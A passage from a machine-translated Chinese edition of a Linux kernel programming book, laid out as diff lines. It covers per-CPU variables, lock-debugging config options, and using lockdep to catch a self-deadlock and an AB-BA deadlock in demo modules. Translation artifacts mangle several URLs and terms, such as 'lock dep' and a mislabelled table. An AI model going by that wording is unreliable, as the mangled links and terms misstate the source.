%5d\n", - ctx->tx, ctx->rx); put_cpu_ptr(pcp_ctx); }} - disp_vars(); - pr_info("Our kernel thread #%ld exiting now...\n", thrd); - return 0; -} -``` - -运行时的效果很有趣;请参见以下内核日志: - -![](img/b2ece746-35d2-42a6-b35d-c106f3ec2e0d.png) - -Figure 13.6 – Screenshot showing the kernel log when our ch13/2_percpu/percpu_var LKM runs - -在*图 13.6* 的最后三行输出中,可以看到我们的每 CPU 数据变量在 CPU `0`和 CPU `1`上的值的汇总(我们通过`disp_vars()`函数显示)。很明显,对于每 CPU `pcpa`整数(以及`pcp_ctx`数据结构),值与预期的*不同*,*没有显式锁定*。 - -The kernel module just demonstrated uses the `for_each_online_cpu(i)` macro to display the value of our per-CPU variables on each online CPU. Next, what if you have, say, six CPUs on your VM but want only two of them to be "live" at runtime? There are several ways to arrange this; one is to pass the `maxcpus=n` parameter to the VM's kernel at boot – you can see if it's there by looking up `/proc/cmdline`: -`$ cat /proc/cmdline` `BOOT_IMAGE=/boot/vmlinuz-5.4.0-llkd-dbg root=UUID=1c4<...> ro console=ttyS0,115200n8 console=tty0 quiet splash 3 **maxcpus=2**` Also notice that we're running on our custom `5.4.0-llkd-dbg` debug kernel. - -### 内核中的每 CPU 使用率 - -每 CPU 变量在 Linux 内核中被大量使用;一个有趣的例子是在 x86 体系结构上实现`current`宏(我们在[第 6 章](06.html)、*内核内部要素–进程和线程*中的*访问当前*部分的任务结构中使用了`current`宏)。事实是`current`经常被查(和设置);保持它作为一个每 CPU 确保我们保持它的访问锁自由!下面是实现它的代码: - -```sh -// arch/x86/include/asm/current.h -[ ... ] -DECLARE_PER_CPU(struct task_struct *, current_task); -static __always_inline struct task_struct *get_current(void) -{ - return this_cpu_read_stable(current_task); -} -#define current get_current() -``` - -`DECLARE_PER_CPU()`宏将名为`current_task`的变量声明为类型为`struct task_struct *`的每 CPU 变量。`get_current()`内联函数在这个每 CPU 变量上调用`this_cpu_read_stable()`助手,从而读取当前运行的 CPU 核上的`current`的值(阅读[https://酏. boot in . com/Linux/v 5.4/source/arch/x86/include/ASM/percpu . h # L383](https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/percpu.h#L383)处的注释,了解这个例程是关于什么的)。好吧,那很好,但是一个常见问题:这个每 CPU 的`current_task`变量在哪里更新?想想看:每当内核的上下文切换到另一个任务时,内核必须改变(更新)`current` *。* - -事实确实如此;确实在上下文切换码(`arch/x86/kernel/process_64.c:__switch_to()`)内更新;在[https://酏. bootin . com/Linux/v 5.4/source/arch/x86/kernel/process _ 64 . c # L504](https://elixir.bootlin.com/linux/v5.4/source/arch/x86/kernel/process_64.c#L504)): - -```sh -__visible __notrace_funcgraph struct task_struct * -__switch_to(struct task_struct *prev_p, struct task_struct *next_p) -{ - [ ... ] - this_cpu_write(current_task, next_p); - [ ... ] -} -``` - -接下来,通过`__alloc_percpu()`进行一个显示内核代码库中每 CPU 使用情况的快速实验:在内核源代码树的根中运行`cscope -d`(这假设您已经通过`make cscope`构建了`cscope`索引)。在`cscope`菜单中的`Find functions calling this function:`提示下,输入`__alloc_percpu`。结果如下: - -![](img/8b0a34c2-61a0-4a41-93c2-576004d53c02.png) - -Figure 13.7 – (Partial) screenshot of the output of cscope -d showing kernel code that calls the __alloc_percpu() API - -当然,这只是内核代码库中每个 CPU 使用情况的部分列表,仅通过`__alloc_percpu()`底层应用编程接口跟踪使用情况。搜索调用`alloc_percpu[_gfp]()`(包装`__alloc_percpu[_gfp]()`)的函数揭示了更多的点击。 - -至此,我们已经完成了对内核同步技术和 API 的讨论,让我们通过了解一个关键领域来结束这一章:调试内核代码中的锁定问题时的工具和提示! - -# 锁定内核内的调试 - -内核有几种方法来帮助调试内核级锁定问题的困难情况,*死锁*是主要的一种。 - -Just in case you haven't already, do ensure you've first read the basics on synchronization, locking, and deadlock guidelines from the previous chapter ([Chapter 12](12.html), *Kernel Synchronization – Part 1*, especially the *Exclusive execution and atomicity* and *Concurrency concerns within the Linux kernel* sections). - -对于任何调试场景,都有不同的调试点,因此可能会使用不同的工具和技术。非常宽泛地说,一个 bug 可能会在几个不同的时间点(在**软件开发生命周期** ( **SDLC** )被注意到,从而被调试,真的: - -* 在开发过程中 -* 开发后但发布前(测试、**质量保证** ( **QA** )等等) -* 内部发布后 -* 释放后,在现场 - -一个众所周知且不幸的真理说教:一个 bug 从开发中暴露得越“远”,修复它的成本就越高!所以你真的想尽早找到并修复它们! - -由于这本书直接关注内核开发,我们将在这里关注一些在开发时调试锁定问题的工具和技术。 - -**Important**: We expect that by now, you're running on a debug kernel, that is, a kernel deliberately configured for development/debug purposes. Performance will take a hit, but that's okay – we're out bug hunting now! We covered the configuration of a typical debug kernel in [Chapter 5](05.html), *Writing Your First Kernel Module – LKMs Part 2*, in the *Configuring a debug kernel* section, and have even provided a sample kernel configuration file for debugging here: `ch5/kconfigs/sample_kconfig_llkd_dbg.config`. Specifics on configuring the debug kernel for lock debugging are in fact covered next. - -## 为锁调试配置调试内核 - -由于其与锁定调试的相关性和重要性,我们将快速查看 *Linux 内核补丁提交清单*文档([https://www . Kernel . org/doc/html/v 5 . 4/process/submit-checkles . html](https://www.kernel.org/doc/html/v5.4/process/submit-checklist.html))中与我们在此讨论最相关的一个关键点,关于启用调试内核(尤其是锁定调试): - -```sh -// https://www.kernel.org/doc/html/v5.4/process/submit-checklist.html -[...] -12\. Has been tested with CONFIG_PREEMPT, CONFIG_DEBUG_PREEMPT, CONFIG_DEBUG_SLAB, CONFIG_DEBUG_PAGEALLOC, CONFIG_DEBUG_MUTEXES, CONFIG_DEBUG_SPINLOCK, CONFIG_DEBUG_ATOMIC_SLEEP, CONFIG_PROVE_RCU and CONFIG_DEBUG_OBJECTS_RCU_HEAD all simultaneously enabled. -13\. Has been build- and runtime tested with and without CONFIG_SMP and CONFIG_PREEMPT. - -16\. All codepaths have been exercised with all lockdep features enabled. -[ ... ] -``` - -Though not covered in this book, I cannot fail to mention a very powerful dynamic memory error detector called **Kernel Address SANitizer** (**KASAN**). In a nutshell, it uses compile-time instrumentation-based dynamic analysis to catch common memory-related bugs (it works with both GCC and Clang). **ASan** (**Address Sanitizer**), contributed by Google engineers, is used to monitor and detect memory issues in user space apps (covered in some detail and compared with valgrind in the *Hands-On System Programming for Linux* book). The kernel equivalent, KASAN, has been available since the 4.0 kernel for both x86_64 and AArch64 (ARM64, from 4.4 Linux). Details (on enabling and using it) can be found within the kernel documentation ([https://www.kernel.org/doc/html/v5.4/dev-tools/kasan.html#the-kernel-address-sanitizer-kasan](https://www.kernel.org/doc/html/v5.4/dev-tools/kasan.html#the-kernel-address-sanitizer-kasan)); I highly recommend you enable it in your debug kernel. - -正如我们在[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*中看到的,我们可以针对我们的需求专门配置我们的 Linux 内核。在这里(在 5.4.0 内核源代码树的根中),我们执行`make menuconfig`并导航到`Kernel hacking / Lock Debugging (spinlocks, mutexes, etc...)`菜单(参见在我们的 x86_64 Ubuntu 20.04 LTS 来宾 VM 上拍摄的*图 13.8* ): - -![](img/2177d3e6-8ff8-4bfc-858d-14245b7d9d31.png) - -Figure 13.8 – (Truncated) screenshot of the kernel hacking / Lock Debugging (spinlocks, mutexes, etc...) menu with required items enabled for our debug kernel - -*图 13.8* 是`< Kernel hacking > Lock Debugging (spinlocks, mutexes, etc...)`菜单的截屏,其中为我们的调试内核启用了必需的项目。 - -Instead of interactively having to go through each menu item and selecting the `` button to see what it's about, a much simpler way to gain the same help information is to peek inside the relevant Kconfig file (that describes the menu). Here, it's `lib/Kconfig.debug`, as all debug-related menus are there. For our particular case, search for the `menu "Lock Debugging (spinlocks, mutexes, etc...)"` string, where the `Lock Debugging` section begins (see the following table). - -下表总结了每个内核锁调试配置选项有助于调试的内容(我们没有显示所有选项,对于其中一些选项,我们直接引用了`lib/Kconfig.debug`文件): - -| **锁定调试菜单标题** | **它做什么** | -| 锁调试:证明锁定正确性(`CONFIG_PROVE_LOCKING`) | 这是`lockdep`内核选项——打开它可以随时获得锁正确性的滚动证明。锁定相关死锁*的任何可能性甚至在它实际发生之前就被报告了*;非常有用!(稍后将详细解释。) | -| 锁使用统计(`CONFIG_LOCK_STAT`) | 跟踪锁争用点(稍后将详细解释)。 | -| RT 互斥调试,死锁检测(`CONFIG_DEBUG_RT_MUTEXES`) | "*这允许自动检测和报告 rt 互斥语义违规和 rt 互斥相关死锁(锁定)*。" | -| 自旋锁和`rw-lock`调试:基本检查(`CONFIG_DEBUG_SPINLOCK`) | 打开此选项(与`CONFIG_SMP`一起)有助于捕捉丢失的自旋锁初始化和其他常见的自旋锁错误。 | -| 互斥调试:基本检查(`CONFIG_DEBUG_MUTEXES`) | "*该特性允许检测和报告互斥语义违规*。" | -| RW 信号量调试:基本检查(`CONFIG_DEBUG_RWSEMS`) | 允许检测和报告不匹配的读写信号量锁定和解锁。 | -| 锁调试:检测活动锁的不正确释放(`CONFIG_DEBUG_LOCK_ALLOC`) | ”*该功能将通过任何释放内存例程* ( `kfree(), kmem_cache_free(), free_pages(), vfree()` *等)检查内核是否错误地释放了任何持有的锁(自旋锁、rwlock、互斥锁或 rwsem)。),活动锁是否通过* `spin_lock_init()/mutex_init()` *等被错误地重新初始化。,或者在任务退出*期间是否有任何锁定。 | -| 在原子部分检查中休眠(`CONFIG_DEBUG_ATOMIC_SLEEP`) | "*如果你在这里说 Y,各种可能休眠的例程如果在原子部分内部调用就会变得非常嘈杂:当持有自旋锁时,在 rcu 读取侧临界部分内部,在抢占禁用部分内部,在中断内部,等等...*” | -| 锁定 API 启动时自检(`CONFIG_DEBUG_LOCKING_API_SELFTESTS`) | "*如果你想让内核在启动时运行一个简短的自测,在这里说 Y。自检检查调试机制是否检测到常见类型的锁定错误。(如果您禁用锁调试,那么这些 bug 当然不会被检测到。)涵盖了以下锁定 API:自旋锁、rwlocks、* -*互斥体和 rwsems* | -| 锁定的酷刑测试(`CONFIG_LOCK_TORTURE_TEST`) | ”*这个选项提供了一个内核模块,在内核锁定原语上运行折磨测试。如果需要,内核模块可以在要测试的运行内核上的事实之后构建。”(可以内置于“`Y`”中,也可以外部作为模块内置于“*`M`*”)*。" | - -Table 17.4 – Typical kernel lock debugging configuration options and their meaning - -如前所述,在开发和测试期间使用的调试内核中打开所有或大部分这些锁调试选项是一个好主意。当然,正如预期的那样,这样做可能会大大降低执行速度(并使用更多内存);就像在生活中一样,这是一个你必须决定的权衡:你以速度为代价获得对常见锁定问题、错误和死锁的检测。这是一个你应该非常愿意做出的权衡,尤其是在开发(或重构)代码的时候。 - -## 锁验证器 lock dep——及早捕捉锁定问题 - -Linux 内核有一个非常有用的特性,需要内核开发人员来利用:运行时锁定正确性或锁定依赖性验证器;简而言之,**锁定**。基本思想是这样的:`lockdep`运行时在内核中发生任何锁定活动时发挥作用——获取或释放*任何*内核级锁,或者任何涉及多个锁的锁定序列。 - -这是跟踪或映射的(有关性能影响及其缓解方式的更多信息,请参见下一段)。通过应用众所周知的正确锁定规则(您在上一章的*锁定指南和死锁*一节中得到这方面的提示),`lockdep`然后对所做工作的正确性的有效性做出结论。 - -其妙处在于`lockdep`实现了锁序列正确与否的 100%数学证明(或闭包)。以下是对该主题内核文档的直接引用(https://www . kernel . org/doc/html/V5 . 4/locking/lock dep-design . html): - -"*The validator achieves perfect, mathematical ‘closure’ (proof of locking correctness) in the sense that for every simple, standalone single-task locking sequence that occurred at least once during the lifetime of the kernel, the validator proves it with a 100% certainty that no combination and timing of these locking sequences can cause any class of lock related deadlock.*" - -此外,`lockdep`警告您(通过发布`WARN*()`宏)任何违反以下类别锁定错误的行为:死锁/锁反转场景、循环锁依赖和硬 IRQ/软 IRQ 安全/不安全锁定错误。这些信息是珍贵的;通过及早发现锁定问题,用`lockdep`验证您的代码可以节省数百个浪费的工作时间。(仅供参考,`lockdep`跟踪所有锁及其锁定顺序或“锁链”;这些可以通过`/proc/lockdep_chains`查看。 - -关于*性能缓解*的一句话:你很可能会想象,随着成千上万或更多的锁实例四处浮动,验证每一个锁序列的速度会慢得离谱(是的,事实上,这是一个有序的任务`O(N^2)`算法时间复杂度!).这是行不通的;因此,`lockdep`通过验证任何锁定场景来工作(比如,在某个代码路径上,取锁 A,然后取锁 B——这被称为一个*锁定序列*或*锁定链* ) **只有一次**,第一次发生。(它通过为遇到的每个锁链维护一个 64 位散列来了解这一点。) - -Primitive user space approaches: A very primitive – and certainly not guaranteed – way to try and detect deadlocks is via user space by simply using GNU `ps(1)`; doing `ps -LA -o state,pid,cmd | grep "^D"` prints any threads in the `D` – *uninterruptible sleep* (`TASK_UNINTERRUPTIBLE`) – state. This could – but may not – be due to a deadlock; if it persists for a long while, chances are higher that it is a deadlock. Give it a try! Of course, `lockdep` is a far superior solution. (Note that this only works with GNU `ps`, not the lightweight ones such as `busybox ps`.) - -Other useful user space tools are `strace(1)` and `ltrace(1)` – they provide a detailed trace of every system and library call, respectively, issued by a process (or thread); you might be able to catch a hung process/thread and see where it got stuck (using `strace -p ` might be especially useful on a hung process). - -另一点你需要清楚的是:`lockdep` *将会*发出关于(数学上)不正确锁定的警告*,即使在运行时*实际上没有发生死锁!`lockdep`提供了证据,证明如果不采取纠正措施,确实存在可能在未来某个时候导致错误(死锁、不安全的锁定等)的问题;它通常是完全正确的;认真对待并解决问题。(话说回来,通常情况下,软件世界中没有什么是 100%正确的:如果一个 bug 潜入了`lockdep`代码本身呢?甚至还有`CONFIG_DEBUG_LOCKDEP`配置选项。底线是我们,人类开发者,必须仔细评估情况,检查假阳性。) - -接下来,`lockdep`作用于一个*锁类*;这只是一个“逻辑”锁,而不是该锁的“物理”实例。例如,内核的开放文件数据结构`struct file`有两个锁——一个互斥锁和一个自旋锁,每个锁都被`lockdep`视为一个锁类。即使运行时内存中存在几千个`struct file`实例,`lockdep`也只会将其作为一个类进行跟踪。关于`lockdep`的内部设计的更多细节,我们可以参考它的官方内核文档([https://www . kernel . org/doc/html/v 5 . 4/locking/lock dep-design . html](https://www.kernel.org/doc/html/v5.4/locking/lockdep-design.html))。 - -## 示例–使用 lockdep 捕获死锁错误 - -在这里,我们将假设您已经构建并运行了一个启用了`lockdep`的调试内核(如*为锁定调试配置调试内核*一节中所详细描述的)。验证它确实已启用: - -```sh -$ uname -r -5.4.0-llkd-dbg -$ grep PROVE_LOCKING /boot/config-5.4.0-llkd-dbg -CONFIG_PROVE_LOCKING=y -$ -``` - -好的,很好!现在,让我们动手处理一些死锁,看看`lockdep`将如何帮助您抓住它们。继续读! - -### 示例 1–使用 lockdep 捕获自死锁错误 - -作为第一个例子,让我们从[第 6 章](06.html)、*内核内部要素–进程和线程*回到我们的一个内核模块,在*迭代任务列表*部分,这里:`ch6/foreach/thrd_showall/thrd_showall.c`。在这里,我们遍历每个线程,从它的任务结构中打印一些细节;关于这一点,这里有一个代码片段,我们在其中获得线程的名称(回想一下,它位于名为`comm`的任务结构的一个成员中): - -```sh -// ch6/foreach/thrd_showall/thrd_showall.c -static int showthrds(void) -{ - struct task_struct *g = NULL, *t = NULL; /* 'g' : process ptr; 't': thread ptr */ - [ ... ] - do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - if (!g->mm) { // kernel thread - snprintf(tmp, TMPMAX-1, " [%16s]", t->comm); - } else { - snprintf(tmp, TMPMAX-1, " %16s ", t->comm); - } - snprintf(buf, BUFMAX-1, "%s%s", buf, tmp); - [ ... ] -``` - -这是可行的,但是似乎有一种更好的方法:内核提供`{get,set}_task_comm()`助手例程来获取和设置任务的名称,而不是直接用`t->comm`查找线程的名称(就像我们在这里做的那样)。因此,我们重写代码以使用`get_task_comm()`助手宏;它的第一个参数是放置名称的缓冲区(预计您已经为它分配了内存),第二个参数是指向您正在查询其名称的线程的任务结构的指针(下面的代码片段来自这里:`ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c`): - -```sh -// ch13/3_lockdep/buggy_lockdep/thrd_showall_buggy.c -static int showthrds_buggy(void) -{ - struct task_struct *g, *t; /* 'g' : process ptr; 't': thread ptr */ - [ ... ] - char buf[BUFMAX], tmp[TMPMAX], tasknm[TASK_COMM_LEN]; - [ ... ] - do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - get_task_comm(tasknm, t); - if (!g->mm) // kernel thread - snprintf(tmp, sizeof(tasknm)+3, " [%16s]", tasknm); - else - snprintf(tmp, sizeof(tasknm)+3, " %16s ", tasknm); - [ ... ] -``` - -当在我们的测试系统(一个虚拟机,谢天谢地)上编译并插入内核时,它会变得奇怪,甚至只是简单地挂起!(当我这样做的时候,我能够在系统完全无响应之前通过`dmesg(1)`检索内核日志。). - -What if your system just hangs upon insertion of this LKM? Well, that's a taste of the difficulty of kernel debugging! One thing you can try (which worked for me when trying this very example on a x86_64 Fedora 29 VM) is to reboot the hung VM and look up the kernel log by leveraging systemd's powerful `journalctl(1)` utility with the `journalctl --since="1 hour ago"` command; you should be able to see the printks from `lockdep` now. Again, unfortunately, it's not guaranteed that the key portion of the kernel log is saved to disk (at the time it hung) for `journalctl` to be able to retrieve. This is why using the kernel's **kdump** feature – and then performing postmortem analysis of the kernel dump image file with `crash(8)` – can be a lifesaver (see resources on using `kdump` and crash in the *Further reading* section for this chapter). - -浏览内核日志,很明显:`lockdep`已经陷入了(自我)死锁(我们在截图中显示了输出的相关部分): - -![](img/999fbb4c-ef65-4754-8ad1-3b34c775da2f.png) - -Figure 13.9 – (Partial) screenshot showing the kernel log after our buggy module is loaded; lockdep catches the self deadlock! - -尽管接下来有更多的细节(包括`insmod(8)`内核堆栈的堆栈回溯——因为它是进程上下文,在这种情况下是寄存器值,等等),我们在上图中看到的足以推断发生了什么。很明显,`lockdep`告诉我们`insmod/2367 is trying to acquire lock:`,其次是`but task is already holding lock:`。接下来(仔细看*图 13.9* ),T4 拿着的锁是`(p->alloc_lock)`(目前先不管后面的;我们稍后会解释),实际尝试获取它的例程(显示在`at:`之后)是`__get_task_comm+0x28/0x50`。现在,我们有所进展:让我们弄清楚当我们调用`get_task_comm()`时到底发生了什么;我们发现它是一个宏,一个实际工作者例程的包装器,`__get_task_comm()`。其代码如下: - -```sh -// fs/exec.c -char *__get_task_comm(char *buf, size_t buf_size, struct task_struct *tsk) -{ - task_lock(tsk); - strncpy(buf, tsk->comm, buf_size); - task_unlock(tsk); - return buf; -} -EXPORT_SYMBOL_GPL(__get_task_comm); -``` - -啊,问题来了:`__get_task_comm()`函数*试图重新获取我们已经持有的锁,导致(自身)死锁*!我们从哪里获得的?回想一下,我们(有问题的)内核模块中进入循环后的第一行代码就是我们调用`task_lock(t)`的地方,然后仅仅几行之后,我们调用`get_task_comm()`,它在内部试图重新获取完全相同的锁:结果是*自死锁*: - -```sh -do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */ - task_lock(t); - [ ... ] - get_task_comm(tasknm, t); -``` - -此外,找到特定的锁很容易;查找`task_lock()`程序的代码: - -```sh -// include/linux/sched/task.h */ -static inline void task_lock(struct task_struct *p) -{ - spin_lock(&p->alloc_lock); -} -``` - -所以,现在一切都说得通了;它是名为`alloc_lock`的任务结构中的一个自旋锁,就像`lockdep`告诉我们的那样。 -`lockdep`的报告中有一些令人费解的注释。请遵循以下几行: - -```sh -[ 1021.449384] insmod/2367 is trying to acquire lock: -[ 1021.451361] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: __get_task_comm+0x28/0x50 -[ 1021.453676] - but task is already holding lock: -[ 1021.457365] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: showthrds_buggy+0x13e/0x6d1 [thrd_showall_buggy] -``` - -忽略时间戳,在前面的代码块中看到的第二行最左边一列中的数字是用于标识该特定锁序列的 64 位轻量级哈希值。请注意,它与下面一行中的哈希完全相同;所以,我们知道这是同一把锁!`{+.+.}`是 lockdep 表示获取锁的状态的符号(意思是:`+`表示启用 IRQs 时获取的锁,`.`表示禁用 IRQs 时获取的锁,不在 IRQ 上下文中,以此类推)。这些在内核文档([https://www . kernel . org/doc/Documentation/lock dep-design . txt](https://www.kernel.org/doc/Documentation/locking/lockdep-design.txt))中有说明;我们就到此为止吧。 - -A detailed presentation on interpreting `lockdep` output was given by Steve Rostedt at a Linux Plumber's Conference (back in 2011); the relevant slides are informative, exploring both simple and complex deadlock scenarios and how `lockdep` can detect them: -*Lockdep: How to read its cryptic output* ([https://blog.linuxplumbersconf.org/2011/ocw/sessions/153](https://blog.linuxplumbersconf.org/2011/ocw/sessions/153)). - -#### 修好它 - -既然我们理解了这里的问题,我们如何解决它?看到 lockdep 的报告(*图 13.9* )并进行解读,就很简单了:(如前所述)由于名为`alloc_lock`的任务结构 spinlock 已经在`do-while`循环开始时(通过`task_lock(t)`取得,确保在调用`get_task_comm()`例程(内部取得并释放该锁)之前,先解锁,然后执行`get_task_comm()`,然后再次锁定。 - -下面的截图(*图 13.10* )显示了旧的 bug 版本(`ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c`)和我们的代码的新的固定版本(`ch13/3_lockdep/fixed_lockdep/thrd_showall_fixed.c`)之间的差异(通过`diff(1)`实用程序): - -![](img/aa565fd5-9737-4e1a-ac5c-dc04231f997c.png) - -Figure 13.10 – (Partial) screenshot showing the key part of the difference between the buggy and fixed versions of our demo thrdshow LKM - -太好了;接下来是另一个例子——捕捉 AB-BA 死锁! - -### 示例 2–使用 lockdep 捕获 AB-BA 死锁 - -再举一个例子,让我们来看看一个(演示)内核模块,它故意创建了一个**循环依赖**,这最终会导致死锁。代码在这里:`ch13/3_lockdep/deadlock_eg_AB-BA`。我们在之前的模块(`ch13/2_percpu`)的基础上开发了这个模块;大家还记得,我们创建了两个内核线程,并确保(通过使用黑客攻击的`sched_setaffinity()`)每个内核线程运行在唯一的 CPU 内核上(第一个内核线程在 CPU 内核`0`上,第二个在内核`1`)。 - -这样,我们就有了并发性。现在,在线程中,我们让它们使用两个自旋锁`lockA`和`lockB`。了解到我们有一个包含两个或更多锁的流程上下文,我们记录并遵循一个锁排序规则:*首先获取锁 a,然后获取锁 B* 。太好了;所以,应该这样做*而不是*的一个方法是: - -```sh -kthread 0 on CPU #0 kthread 1 on CPU #1 - Take lockA Take lockB - - (Try and) take lockA - < ... spins forever : - DEADLOCK ... > -(Try and) take lockB -< ... spins forever : - DEADLOCK ... > -``` - -这当然是经典的 AB-BA 僵局!因为程序(*内核线程 1* ,实际上)忽略了锁排序规则(当`lock_ooo`模块参数设置为`1`时),所以死锁。下面是相关的代码(我们没有在这里展示整个程序;请在[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)克隆本书的 GitHub 资源库,自己尝试一下: - -```sh -// ch13/3_lockdep/deadlock_eg_AB-BA/deadlock_eg_AB-BA.c -[ ... ] -/* Our kernel thread worker routine */ -static int thrd_work(void *arg) -{ - [ ... ] - if (thrd == 0) { /* our kthread #0 runs on CPU 0 */ - pr_info(" Thread #%ld: locking: we do:" - " lockA --> lockB\n", thrd); - for (i = 0; i < THRD0_ITERS; i ++) { - /* In this thread, perform the locking per the lock ordering 'rule'; - * first take lockA, then lockB */ - pr_info(" iteration #%d on cpu #%ld\n", i, thrd); - spin_lock(&lockA); - DELAY_LOOP('A', 3); - spin_lock(&lockB); - DELAY_LOOP('B', 2); - spin_unlock(&lockB); - spin_unlock(&lockA); - } -``` - -我们的内核线程`0`按照锁排序规则正确地做到了这一点;与我们的内核线程`1`相关的代码(续前一个代码)如下: - -```sh - [ ... ] - } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */ - for (i = 0; i < THRD1_ITERS; i ++) { - /* In this thread, if the parameter lock_ooo is 1, *violate* the - * lock ordering 'rule'; first (attempt to) take lockB, then lockA */ - pr_info(" iteration #%d on cpu #%ld\n", i, thrd); - if (lock_ooo == 1) { // violate the rule, naughty boy! - pr_info(" Thread #%ld: locking: we do: lockB --> lockA\n",thrd); - spin_lock(&lockB); - DELAY_LOOP('B', 2); - spin_lock(&lockA); - DELAY_LOOP('A', 3); - spin_unlock(&lockA); - spin_unlock(&lockB); - } else if (lock_ooo == 0) { // follow the rule, good boy! - pr_info(" Thread #%ld: locking: we do: lockA --> lockB\n",thrd); - spin_lock(&lockA); - DELAY_LOOP('B', 2); - spin_lock(&lockB); - DELAY_LOOP('A', 3); - spin_unlock(&lockB); - spin_unlock(&lockA); - } - [ ... ] -``` - -用设置为`0`(默认)的`lock_ooo`内核模块参数构建并运行它;我们发现,遵循锁排序规则,一切都很好: - -```sh -$ sudo insmod ./deadlock_eg_AB-BA.ko -$ dmesg -[10234.023746] deadlock_eg_AB-BA: inserted (param: lock_ooo=0) -[10234.026753] thrd_work():115: *** thread PID 6666 on cpu 0 now *** -[10234.028299] Thread #0: locking: we do: lockA --> lockB -[10234.029606] iteration #0 on cpu #0 -[10234.030765] A -[10234.030766] A -[10234.030847] thrd_work():115: *** thread PID 6667 on cpu 1 now *** -[10234.031861] A -[10234.031916] B -[10234.032850] iteration #0 on cpu #1 -[10234.032853] Thread #1: locking: we do: lockA --> lockB -[10234.038831] B -[10234.038836] Our kernel thread #0 exiting now... -[10234.038869] B -[10234.038870] B -[10234.042347] A -[10234.043363] A -[10234.044490] A -[10234.045551] Our kernel thread #1 exiting now... -$ -``` - -现在我们在`lock_ooo`内核模块参数设置为`1`的情况下运行,发现不出所料,系统锁死了!我们违反了锁排序规则,我们付出了系统死锁的代价!这一次,重启虚拟机并执行`journalctl --since="10 min ago"`让我得到了 lockdep 的报告: - -```sh -====================================================== -WARNING: possible circular locking dependency detected -5.4.0-llkd-dbg #2 Tainted: G OE ------------------------------------------------------- -thrd_0/0/6734 is trying to acquire lock: -ffffffffc0fb2518 (lockB){+.+.}, at: thrd_work.cold+0x188/0x24c [deadlock_eg_AB_BA] - -but task is already holding lock: -ffffffffc0fb2598 (lockA){+.+.}, at: thrd_work.cold+0x149/0x24c [deadlock_eg_AB_BA] - -which lock already depends on the new lock. -[ ... ] -other info that might help us debug this: - - Possible unsafe locking scenario: - - CPU0 CPU1 - ---- ---- - lock(lockA); - lock(lockB); - lock(lockA); - lock(lockB); - - *** DEADLOCK *** - -[ ... lots more output follows ... ] -``` - -`lockdep`报告相当惊人。检查句子`Possible unsafe locking scenario:`后面的行;它非常精确地显示了运行时实际发生的情况——在`CPU1 : lock(lockB); --> lock(lockA);`上的**无序** ( **ooo** )锁定序列!由于`lockA`已经被 CPU `0`上的内核线程占用,因此 CPU `1`上的内核线程会永远旋转——这是造成 AB-BA 死锁的根本原因。 - -此外,非常有趣的是,在模块插入后不久(将`lock_ooo`设置为`1`,内核也检测到了一个软锁定错误。printk 指向我们的控制台日志级别`KERN_EMERG`,允许我们看到这一点,即使系统似乎被挂起。它甚至显示了问题起源的相关内核线程(同样,这个输出在我运行定制 5.4.0 调试内核的 x86_64 Ubuntu 20.04 LTS 虚拟机上): - -```sh -Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ... -kernel:[10939.279524] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [thrd_0/0:6734] -Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ... -kernel:[10939.287525] watchdog: BUG: soft lockup - CPU#1 stuck for 23s! [thrd_1/1:6735] -``` - -(仅供参考,检测到这一点并喷出前面消息的代码在这里:`kernel/watchdog.c:watchdog_timer_fn()`)。 - -另一个注意事项:`/proc/lockdep_chains`输出还“证明”采取了(或存在)不正确的锁定顺序: - -```sh -$ sudo cat /proc/lockdep_chains -[ ... ] -irq_context: 0 -[000000005c6094ba] lockA -[000000009746aa1e] lockB -[ ... ] -irq_context: 0 -[000000009746aa1e] lockB -[000000005c6094ba] lockA -``` - -此外,请记住`lockdep`只报告一次——第一次——违反了任何内核锁的锁规则。 - -## lock dep–注释和问题 - -让我们用强大的`lockdep`基础设施的更多要点来结束这次报道。 - -### lockdep 注释 - -在用户空间,你会熟悉使用非常有用的`assert()`宏。在这里,您断言一个布尔表达式,一个条件(例如,`assert(p == 5);`)。如果断言在运行时为真,则不发生任何事情,执行继续;当断言为假时,该过程被中止,并且嘈杂的`printf()`到`stderr`指示哪个断言以及它在哪里失败。这允许开发人员检查他们期望的运行时条件。因此,断言可能非常有价值——它们有助于捕捉 bug! - -以类似的方式,`lockdep`允许内核开发人员通过`lockdep_assert_held()`宏断言在特定点持有锁。这叫做**锁定点注释**。此处显示宏定义: - -```sh -// include/linux/lockdep.h -#define lockdep_assert_held(l) do { \ - WARN_ON(debug_locks && !lockdep_is_held(l)); \ - } while (0) -``` - -断言失败会导致警告(通过`WARN_ON()`)。这是非常有价值的,因为它暗示了虽然锁`l`现在应该被持有,但它真的没有。还要注意,这些断言只有在启用锁调试时才会起作用(这是内核中启用锁调试时的默认值;只有当`lockdep`或其他内核锁定基础设施中出现错误时,它才会被关闭。内核代码库实际上到处都在使用`lockdep`注释,无论是在内核中还是在驱动程序代码中。(表单`lockdep_assert_held*()`的`lockdep`声明以及很少使用的`lockdep_*pin_lock()`宏有一些变化。) - -### lockdep 问题 - -使用`lockdep`时可能会出现一些问题: - -* 重复的模块加载和卸载会导致超过`lockdep`的内部锁类限制(原因,正如内核文档中所解释的,是加载一个`x.ko`内核模块会为其所有锁创建一组新的锁类,而卸载`x.ko`不会移除它们;它实际上被重复使用)。实际上,要么不要重复加载/卸载模块,要么重置系统。 -* 尤其是在数据结构有大量锁的情况下(如结构数组),不能正确初始化每个锁会导致锁类溢出。 - -每当锁定调试被禁用时`debug_locks`整数被设置为`0`(即使在调试内核上);这会导致显示以下消息:`*WARNING* lock debugging disabled!! - possibly due to a lockdep 